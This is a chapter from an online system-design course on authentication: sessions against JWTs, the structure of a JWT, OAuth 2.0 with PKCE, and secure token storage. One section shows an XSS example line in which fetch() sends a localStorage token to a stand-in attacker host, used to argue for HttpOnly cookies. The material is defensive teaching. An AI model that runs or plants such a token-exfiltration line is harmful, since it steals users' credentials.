Chapter 6 of 12
Course Progress0 of 12 completed (0%)

Modern System Design & API Architecture · Chapter 6 · ~23 min · Intermediate

Stateless Authentication: Sessions, JWTs & OAuth 2.0

Master authentication architecture at microservice scale. Compare server-side session databases with stateless JSON Web Tokens (JWT), explore OAuth 2.0 PKCE authorization flows, and design secure token rotation strategies.

  • Compare centralized stateful sessions with decentralized stateless JWT verification
  • Trace the OAuth 2.0 Authorization Code flow with PKCE step by step
  • Understand asymmetric RS256 signing and JSON Web Key Sets (JWKS) caching
  • Design secure token rotation, revocation blocklists, and HttpOnly cookie storage

Stateless Authentication: Sessions, JWTs & OAuth 2.0: learn it visually

Architect stateless authentication: server-side sessions vs JWT tokens, asymmetric RSA signing, refresh token rotation, and OAuth 2.0 PKCE grant flows.

Stateless Authentication: Sessions, JWTs & OAuth 2.0Architect stateless authentication: server-side sessions vs JWT tokens, asymmetric RSA signing, refresh token rotation, and OAuth 2.0 PKCE grant flows.UNDERSTANDStatelessAuthenticationFOLLOW THE FLOWSessionsAPPLY ITJWTsStateless Authentication: Sessions, JWTs & OAuth 2.0Architect stateless authentication: server-side sessions vs JWT tokens, asymmetric RSA signing, refresh token rotation, and OAuth 2.0 PKCE grant flows.UNDERSTANDStatelessAuthenticationFOLLOW THE FLOWSessionsAPPLY ITJWTs

1The Scalability Battle: Stateful Sessions vs. Stateless JWTs

In a classic monolithic application, authentication is stateful: the client presents a random cookie (e.g. session_id = "abc123xyz"), and the server executes a SQL query against a sessions table: SELECT * FROM sessions WHERE id = ?.

At microservice scale (hundreds of backend services handling 1,000,000 requests per minute), this architecture collapses: either every microservice hammers a single centralized Redis/PostgreSQL session cluster, or every service must make an internal RPC call to a dedicated Auth Service.

Stateful Sessions

Server Database Dependent

Instant revocation (delete row in DB), but requires centralized database lookup on every request. Harder to scale horizontally across multi-region clusters.

Stateless JWTs

Self-Contained & Cryptographically Signed

Carries claims directly inside the token. Any microservice can verify its integrity locally using the public key in 0.1ms without contacting the database.

Wrong idea: Store every JWT in a central database checked synchronously on every HTTP call

100k API reqs/sec → 100k DB Session Table LookupsFlaw: Destroys microservice autonomy; database connection pool saturated by auth checks

Treating stateless JSON Web Tokens like traditional stateful session IDs, forcing a database lookup on every request and recreating the single point of failure.

Real system: Stateless signature verification eliminates database queries completely

RS256 Public Key Verify → Sub-millisecond In-Memory ValidationZero database calls; microservices scale horizontally with zero auth bottleneck

Resource servers independently verify the JWT signature using the Identity Provider's cached public key (JWKS) in 0.1ms in memory without contacting any database.

Concept Check

How does an API gateway or microservice verify that a JWT has not been tampered with without contacting the database?

2Anatomy of a JSON Web Token (Header, Payload, Signature)

A JWT consists of three Base64URL-encoded strings separated by periods: xxxxx.yyyyy.zzzzz

1. Header (Algorithm & Key Metadata)

Declares the signing algorithm (e.g., "alg": "RS256") and Key ID ("kid") to match against the public JWKS.

2. Payload (Claims & Authorization)

Contains registered claims (sub = user ID, iss = issuer URL, exp = expiration timestamp) and custom permissions (e.g. "role": "editor").

3. Signature (Tamper Proof)

Computed as Sign(base64Url(header) + "." + base64Url(payload), privateKey). If an attacker modifies even a single byte of the payload, the signature check fails.

3OAuth 2.0 & PKCE: Securing Public Clients

In Single Page Applications (React, Vue) and mobile apps (iOS, Android), client code is completely public. Any hardcoded "client secret" can be extracted by decompiling the APK or inspecting the JavaScript bundle.

The OAuth 2.0 working group created Proof Key for Code Exchange (PKCE, RFC 7636) to protect public clients:

// Client-Side PKCE Code Verifier & Challenge Generation
const verifier = generateRandomBytes(32); // High-entropy cryptographic random string
const challenge = base64Url(sha256(verifier)); // One-way cryptographic hash

// When redirecting to the IdP, client sends ONLY the challenge:
window.location.href = `https://auth.company.com/authorize?code_challenge=${challenge}&code_challenge_method=S256`;
Concept Check

Why was PKCE (Proof Key for Code Exchange) created for Single Page Applications (SPAs) and mobile devices?

4Hands-On: JWT Lifecycle & OAuth 2.0 PKCE Flow Simulator

Step through the 5 stages of an OAuth 2.0 PKCE authentication handshake. Inspect the decoded JWT segments, and simulate token tampering and expiration to observe signature validation:

JWT Lifecycle & OAuth 2.0 PKCE Flow Simulator

Step 1 of 5
Step 1: PKCE Challenge Generation (Client Browser)

Public clients (Single Page Apps / Mobile) cannot safely store a client secret. Instead, the client generates a cryptographic Code Verifier and computes its SHA-256 hash: the Code Challenge.

Code Verifier (Kept Private in Memory):

dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk

Code Challenge (Sent over Wire):

E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM

Live JWT Wire Inspector (3 Segments: Header · Payload · Signature)
1. Header (Algorithm & Key ID)
{ "alg": "RS256", "typ": "JWT", "kid": "auth-key-2026-q1" }
2. Payload (Claims)
{ "sub": "usr_9410", "name": "Alex Rivera", "email": "alex@example.com", "role": "member", "iat": 1774320000, "exp": 1774320900 }
3. Cryptographic Signature

TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ

Valid RS256 Signature · Verified in 0.1ms

5Secure Storage: Why LocalStorage is Insecure for Tokens

Frontend developers frequently store JWTs in localStorage.setItem('token', jwt) because it is simple to read. However, any JavaScript running on your origin can read localStorage. A single vulnerable NPM package or Cross-Site Scripting (XSS) vulnerability allows an attacker to exfiltrate all user tokens in one line of code:

// XSS Attack: Stealing tokens from localStorage
fetch("https://attacker-server.com/steal?token=" + localStorage.getItem("token"));

The production gold standard is storing the token in an HttpOnly, Secure, SameSite=Strict cookie:

// Server Response Header:
Set-Cookie: access_token=eyJhbGciOi...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900;

6Bug Hunt: Fix JWT Verification & Token Security Flaws

An authentication microservice was deployed with three severe security vulnerabilities: it permits the insecure "none" algorithm allowing forged signatures, it issues tokens with a dangerous 30-day lifespan, and it configures clients to store tokens in insecure localStorage.

Fix the configuration below and click Run & verify:

JWT Verification & Auth Config Hunt
TypeScript

🎯 Find and fix the bugs in the code above, then press Run & verify to test your solution.

Need a hint?
  • Ban insecure algorithms: remove "none" from allowedAlgorithms: ["RS256"].
  • Enforce short-lived tokens: change accessTokenTtlMinutes to a secure lifespan between 5 and 30 (e.g. 15).
  • Harden storage: set cookieStorageType: "httpOnlyCookie".

7Recap

  • Stateless JWTs allow microservices to verify authentication independently in 0.1ms using public key cryptography.
  • JWTs are signed, not encrypted: never place sensitive passwords or unmasked PII in token payloads.
  • PKCE (Proof Key for Code Exchange) is mandatory for Single Page Apps and mobile clients to prevent code interception.
  • Always store sensitive tokens in HttpOnly, Secure, SameSite=Strict cookies to immunize them from XSS theft.
  • Use short-lived access tokens (5–15 min) paired with rotating refresh tokens to bound the blast radius of stolen credentials.

Ready for Chapter 7 (Real-Time Protocols: Polling vs SSE vs WebSockets)? Mark this chapter as complete to proceed:

Enjoying this free lesson? Your support helps us build more free animated chapters.

Support Us